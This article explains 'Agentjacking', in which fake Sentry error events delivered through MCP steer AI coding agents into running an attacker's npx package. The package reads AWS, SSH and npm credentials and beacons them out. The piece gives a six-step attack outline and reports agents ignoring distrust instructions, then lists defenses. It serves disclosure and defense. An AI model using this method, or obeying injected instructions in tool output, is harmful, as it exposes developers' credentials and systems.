The Research Report
Your AI Coding Agent Just Ran Attacker Code — And You Asked It To
How a fake Sentry bug report turned the hottest developer tools into the most dangerous attack surface in your organization
June 18, 2026
A developer at a Fortune 100 technology company — a $250 billion enterprise — asked their AI coding agent to triage a Sentry error. The agent read the error, saw a "Resolution" section suggesting a diagnostic command, and ran it. The command exfiltrated AWS credentials, probed SSH keys, and phoned home to a beacon server.
The error was fake. The developer never typed "run this." The agent decided on its own.
Tenet Security calls this Agentjacking — a new attack class that injects malicious instructions into AI coding agents through fake Sentry error reports. Their research, published June 17, 2026, revealed an 85% success rate across every major coding agent tested, 2,388 organizations with exposed attack surfaces, and confirmed execution at organizations ranging from that Fortune 100 giant down to solo developers. A cloud security company was among the hijacked.
The attack requires no malware, no stolen credentials, no phishing, and no server compromise. It needs only a public Sentry DSN — a credential embedded in plain text in millions of websites' JavaScript source code — and a developer who asks their AI assistant to investigate a bug.
This is not another prompt injection story. This is a supply chain attack where the supply chain is your observability platform, and the execution engine is the AI agent you trust to write your code.
The Attack: Six Steps to Remote Code Execution
Agentjacking exploits an architectural flaw at the intersection of Sentry's event ingestion and the Model Context Protocol (MCP) servers that feed AI agents their data. Here's how it works:
Step 1: Find the target's Sentry DSN. Sentry Data Source Names are public, write-only credentials designed to be embedded in frontend JavaScript. You can find them by inspecting any website's source code, searching Censys for ingest.sentry.io in HTTP bodies, or running a GitHub code search. Tenet found 2,388 organizations with valid, injectable DSNs this way — 71 of them in the Tranco top-1-million websites.
Step 2: Inject a crafted error event. POST a malicious error event to Sentry's ingest endpoint. No authentication beyond the DSN is required. The attacker controls the entire payload: error message, tags, context keys, extra data, breadcrumbs, stack traces, and fingerprint. Sentry accepts it with HTTP 200 and processes it identically to a real application error.
Step 3: Markdown injection. The injected event contains carefully formatted Markdown in the message field and context key names. When the Sentry MCP server returns this event to an AI agent, the Markdown renders as structured content: headings, code blocks, and tables visually identical to Sentry's own system template. The payload includes a fake "## Resolution" section with an npx command.
Step 4: Agent manipulation. When a developer asks their AI agent to "fix unresolved Sentry issues" or similar, the agent queries Sentry via MCP, receives the injected event, and reads the attacker's "resolution" as legitimate diagnostic guidance. The agent is steered away from investigating source code and toward executing the suggested tool.
Step 5: Code execution. The agent runs npx @attacker-controlled-package --diagnose. The package downloads from the public npm registry and executes with the developer's full privileges. In Tenet's controlled testing, the package probed for ~/.aws/config, ~/.npmrc, ~/.docker/config.json, SSH agent sockets, and network interfaces.
Step 6: Exfiltration. Environment variables, AWS secret keys, GitHub OAuth tokens, private repository URLs, and developer identities are within reach. The package can phone home to an attacker-controlled server. In Tenet's responsible disclosure campaign, all probe data was reported to the affected organizations and then deleted.
Every step in this chain is authorized. Sentry accepts the event because the DSN permits it. The MCP server returns it because the developer asked for errors. The agent runs the command because remediation involves running diagnostics. The process executes with developer privileges because that's how local coding agents work. Traditional security controls — EDR, WAF, network monitors — see nothing amiss because no rule is violated.
Why This Is Different From Prompt Injection
If you follow AI security, you've heard about prompt injection. Agentjacking is not prompt injection as most people understand it. The differences matter:
It arrives through trusted telemetry, not the chat box. Classic prompt injection happens when a user pastes malicious text into a chat window, or when a model reads a web page with embedded instructions. Agentjacking arrives through Sentry — a tool the organization already trusts, connected via an MCP integration the developer explicitly approved. The data pipeline is legitimate. The payload rides inside it.
There's no jailbreak and no "run this." The developer's prompt is entirely benign: "fix my Sentry errors" or "investigate this bug." The attacker never interacts with the developer. The entire trigger is the agent's normal workflow of reading observability data and acting on it.
Every step is authorized, so no security layer fires. Classic injection often trips anomaly detection somewhere. In Agentjacking, there is no stolen password, no exploit payload in a server process, no suspicious network bypass. The agent is doing normal work with normal credentials. The trust boundary broke before the agent ever saw the data: untrusted telemetry became trusted instruction.
It reaches agents inside internal networks. The attack path goes external service → trusted ingestion → code execution on an internal machine. Agents behind VPNs, in sandboxed CI containers, on corporate Windows devices — all were reached. Tenet confirmed execution inside WSL on managed Windows machines, inside CircleCI containers on EC2, and behind corporate VPNs.
Prompt-layer defenses failed. Tenet tested agents with explicit system prompts and skills instructing them to ignore untrusted data. The agents ran the code anyway. You cannot patch this with a "don't trust what you read" instruction.
The Evidence: 100+ Agents, Six Continents, a Fortune 100 Company
Tenet's responsible disclosure campaign wasn't theoretical. They confirmed real-world exploitability with timestamped, redacted evidence:
A Cursor agent inside a sandboxed Warp terminal executed the payload and beaconed back, revealing network interface information and the Sentry ingest path that delivered the attack.
AI agents running inside WSL on managed Windows machines were reached. The Windows logon server and SSH agent socket were present in the environment — meaning the attacker could have accessed the developer's SSH identity.
Claude Code on macOS with live AWS credentials. A live AWS secret access key was present in the agent's environment, along with identifiers for connected downstream agents. The blast radius extended beyond a single host.
A sandboxed OpenAI Codex agent in CI/CD. Even a network-restricted Codex agent running in a CircleCI pipeline on an EC2 container was compromised. The container held GitHub tokens — necessary for CI to function — and those tokens were reachable.
An OpenAI agent running as a VS Code extension. IDE-embedded agents, not just standalone CLIs, fell for it.
Agents behind corporate VPNs. Live cloud and cluster credentials were within reach, all transmitted through the agent's normal execution path.
The organizations spanned enterprise software and cloud ($250B parent), scientific computing ($20M), hosting infrastructure ($2B), property management, web startups, digital marketing firms, and EdTech/HealthTech/FinTech. A cloud security company was among the compromised. No size, sector, or security budget predicted safety.
The Angle for End Users: Your Tools Are Now the Attack Surface
If you use AI coding agents — Claude Code, Cursor, Codex, or any agent connected to Sentry, GitHub, Jira, or other external tools — this is about you. Not your company. You. Your AWS keys, your GitHub tokens, your SSH identities, your private repositories.
The uncomfortable truth is that the convenience that makes AI coding agents useful is exactly what makes them dangerous. You connect Sentry so the agent can investigate bugs. You connect GitHub so it can read your code. You connect Slack so it can see your team's discussions. Each connection is a data pipeline that feeds the agent information it treats as authoritative.
When you ask Cursor to "fix my Sentry errors," you're implicitly trusting that every error in Sentry was generated by your application. It wasn't. Sentry's DSN is public by design. Anyone who can load your website's JavaScript can find it. Anyone can POST a fake error event to it. And your agent will read that fake event with the same reverence it gives a real crash report.
This isn't a Sentry-specific problem, either. Any MCP tool integration that returns externally-influenced data creates the same vulnerability class. GitHub Issues, Jira tickets, Slack messages, support emails, documentation sites — if an attacker can influence the content and the agent can read it, the agent can be steered. As the AI agent ecosystem expands and more tools connect via MCP, the attack surface grows exponentially.
The immediate practical steps are:
- Audit which MCP servers your agents connect to. If any return user-generated or externally-influenced content, that's a potential injection vector.
- Deny-by-default network egress. The single most effective control. If the agent can't reach the internet, it can't fetch a malicious package or phone home.
- Require human approval for command execution. Turn off auto-run. The one step that turns injected text into code execution needs a human in the loop.
- Block credential reads at the subprocess level. Deny access to
~/.aws,~/.ssh,.envfiles. - Install Tenet's open-source agent-jackstop configs for Cursor and Claude Code, which implement the above controls as drop-in hardening.
The deeper issue is architectural. AI coding agents cannot distinguish data from instructions. They cannot verify whether an error event was generated by a real crash or injected by an attacker. This is a limitation of the models themselves — not a misconfiguration you can patch away. Until agents have robust provenance tracking and data-instruction separation, every externally-connected tool is a potential command-and-control channel.
The Angle for Engineers: MCP Tool Output Needs a Trust Label
For engineers building AI agent systems, MCP integrations, or security tooling, Agentjacking reveals a structural problem in how agents process tool output.
The Trust Boundary Is in the Wrong Place
Current agent architectures treat MCP tool responses as authoritative system output. When an agent calls sentry.list_issues(), it receives structured data and acts on it. The agent has no mechanism to distinguish between fields that came from Sentry's platform (issue ID, stack trace metadata, timestamp) and fields that came from user-supplied content (error message, tags, context keys, breadcrumbs).
This is the same pattern seen in other MCP vulnerabilities — tool poisoning, VIPER-MCP, agent phishing — but pushed one level deeper. The tool is legitimate. The server is maintained by a reputable vendor. The connection was approved by the organization. But the data the tool returns can be attacker-controlled, and the agent has no way to know.
The fix isn't "don't connect agents to Sentry." The fix is to preserve provenance through the entire data pipeline:
- MCP servers should tag fields by origin. Platform-generated fields get a "trusted" label. User-submitted or externally-influenced fields get an "untrusted" label. The agent receives this provenance metadata alongside the data.
- Agents should treat untrusted fields as data, not instructions. If a Sentry error's message field contains a command, the agent should surface it as suspicious content, not execute it.
- High-risk transitions need explicit boundaries. Moving from "read observability event" to "run npx" should require human approval, regardless of what the event says.
- The full chain needs logging. Original input source, MCP server, tool response fields, agent-selected action, parameters, approval state, and resulting command — all of it should be traceable.
Why Prompt-Level Defenses Don't Work
Tenet tested agents with detailed system prompts and skills explicitly instructing them to ignore untrusted data. The agents executed the payload anyway. This shouldn't be surprising — it's the same fundamental problem that makes prompt injection intractable. LLMs cannot reliably distinguish instructions from data within their context window. Telling an agent "don't trust Sentry output" in a system prompt doesn't prevent the agent from reading a well-formatted remediation section and acting on it.
The defense has to happen outside the model. Agent-jackstop's approach — deny-by-default networking, command approval requirements, and credential read blocking — works because it doesn't rely on the model's judgment. It puts hard boundaries around the actions the agent can take, regardless of what it reads.
Sentry's Partial Fix
Sentry patched the specific payload string Tenet used in testing. But the underlying DSN injection pathway is structurally unchanged. Anyone with a project's DSN can still POST arbitrary event content. The Markdown rendering that makes the attack visually indistinguishable from real Sentry guidance still works. The MCP server still returns the full event payload without provenance tagging.
This is a reasonable position for Sentry to take — DSNs are designed to accept events from any source, and the real fix needs to happen in how agents consume that data. But it means organizations using Sentry with AI agents need to implement their own controls rather than relying on Sentry to filter malicious content.
Defense-in-Depth Architecture
Tenet's agent-jackstop repository provides concrete configs for Cursor and Claude Code that implement a layered defense:
- Network egress allowlisting (
sandbox.json): Only permit connections to approved registries (npm, PyPI, GitHub). Trim to what you actually use. This kills both the malicious package fetch and the exfiltration beacon. - Terminal command allowlisting (
permissions.json): Require approval for command execution. No auto-run, no bypass mode. - Credential read blocking: Deny access to
~/.aws,~/.ssh,.env, and other credential files at the subprocess level. - Skill-based distrust rules (
untrusted-tool-output.mdc): Always-on rule telling the agent to treat tool and log output as data, not instructions. This is defense-in-depth only — Tenet showed it alone is insufficient, but it adds a layer. - Managed settings for organizations (
managed-settings.json): MDM-deployed configs that lock down agent permissions at the org level.
These reduce blast radius. They don't make agents immune to prompt injection. Combine them with least-privilege credentials, short-lived tokens, and review of which MCP servers return externally-influenced data.
The Contrarian Angle: Publishing Attack Blueprints Helps Attackers — And That's the Point
Every time security researchers publish a detailed attack blueprint, the same debate resurfaces: aren't you just giving attackers a playbook?
The argument has merit. Tenet published a step-by-step methodology for finding Sentry DSNs, crafting payloads, and executing attacks. They listed the exact fields an attacker controls. They demonstrated 85% success rates across every major agent. They showed that prompt-level defenses fail. The Cloud Security Alliance, The Hacker News, The Next Web, and dozens of other outlets amplified it within days. Anyone motivated enough to find DSNs before this research can now find them with a clearer playbook.
But hiding it doesn't help defenders either. Here's why:
The attack was already trivially discoverable. Sentry DSNs are public by design. The MCP protocol is open and documented. The Markdown rendering that makes payloads indistinguishable from real guidance is standard behavior. An attacker with moderate skill could have independently discovered this attack class. The question was never whether someone would find it, but when and whether defenders would know.
Defenders needed a name for this. Before "Agentjacking," the industry had no vocabulary for "a trusted tool returning attacker-controlled data that an agent executes as instructions." Now it does. Naming an attack class is the first step to building defenses for it. NIST's recent mathematical proof that no fixed set of guardrails can block every possible jailbreak reinforces this — continuous monitoring and defense-in-depth are the only viable approaches, and you can't monitor what you can't name.
The affected organizations were already exposed. Tenet found 2,388 organizations with injectable DSNs. The attack surface existed before the research was published. The organizations were already vulnerable. Publishing the research gave them the information they needed to fix the problem before a malicious actor exploited it at scale.
Sentry's partial patch proves the point. Sentry patched the specific payload string Tenet used, not the underlying DSN injection pathway. Without public research, organizations might have assumed the patch was sufficient. With it, they know the structural vulnerability remains and can implement additional controls.
The real danger is asymmetric information. If attackers discover this class of vulnerability independently — and they will — they won't publish a responsible disclosure. They'll exploit it silently, exfiltrating credentials and establishing persistence across thousands of organizations. Public research creates symmetry: defenders can build controls while the attack is still novel, rather than discovering it in incident response months later.
That said, the research community should be honest about the trade-off. Detailed attack methodology accelerates both offense and defense. Tenet's open-source defense configs (agent-jackstop) are the right companion to the attack disclosure: here's exactly how it works, and here's exactly how to stop it. Disclosure without practical defenses is a vulnerability dump. Defenses without understanding the attack are security theater. You need both.
The uncomfortable middle ground: this attack class will be rediscovered by malicious actors regardless. The only question is whether defenders are ready when they do. Tenet's research, responsibly disclosed with working mitigations, gives defenders a head start. Whether the industry uses that head start is another question entirely.
The Bigger Picture: Your Observability Platform Is a Command Channel
Agentjacking exposes a fundamental shift in the software development attack surface. For years, supply chain attacks focused on compromising real packages (SolarWinds, CodeCov) or tricking developers with typosquatting. With AI coding agents, attackers no longer need to compromise a package or trick a human. They just need to inject data that the agent trusts.
The observability platform becomes a command-and-control channel. The AI agent becomes the execution engine. The developer's credentials become the attacker's prize.
This extends far beyond Sentry. Any MCP tool integration that returns externally-influenced data creates the same vulnerability class. GitHub Issues with injected instructions. Jira tickets with embedded commands. Slack messages with steering text. Support emails with malicious guidance. Documentation sites with injected content. Package READMEs that tell the agent to change configuration. If the agent can read it, and the content can be influenced by an attacker, the agent can be steered.
The industry needs a two-dimensional supply chain model:
- Artifact trust: Did this skill, plugin, MCP server, or connector come from the publisher it claims? Was it scanned? Does the installed hash match the reviewed artifact? What permissions does it request?
- Invocation trust: Should this specific request, using this specific tool output, be allowed to trigger this specific action?
Agentjacking sits in the second dimension. The Sentry MCP integration can be legitimate. The agent can be legitimate. The developer can be authorized. The event can still be attacker-controlled. Clean install-time review is necessary but not sufficient — a verified tool can still return untrusted content.
Until agents have robust provenance tracking, data-instruction separation, and hard execution boundaries, every externally-connected tool is a potential C2 channel. The question isn't whether Agentjacking is the last attack of its kind. It's whether the industry will build defenses before the next one arrives.
Sources:
- Tenet Security: One Fake Bug Report Hijacked a $250 Billion Company's AI Agent — Then 100+ More (June 17, 2026)
- agent-jackstop — open-source hardening configs for Cursor and Claude Code
- Infosecurity Magazine: New "Agentjacking" Attacks Could Hijack AI Coding Agents
- Cloud Security Alliance: Agentjacking: MCP Injection Hijacks AI Coding Agents
- SkillSafe: Agentjacking Turns MCP Tool Output Into an Execution Path
- The Next Web: Agentjacking: a fake bug report hijacks AI coding agents
- DevOps.com: Tenet's 'Agentjacking' Attack Turns Sentry Errors Into Code Execution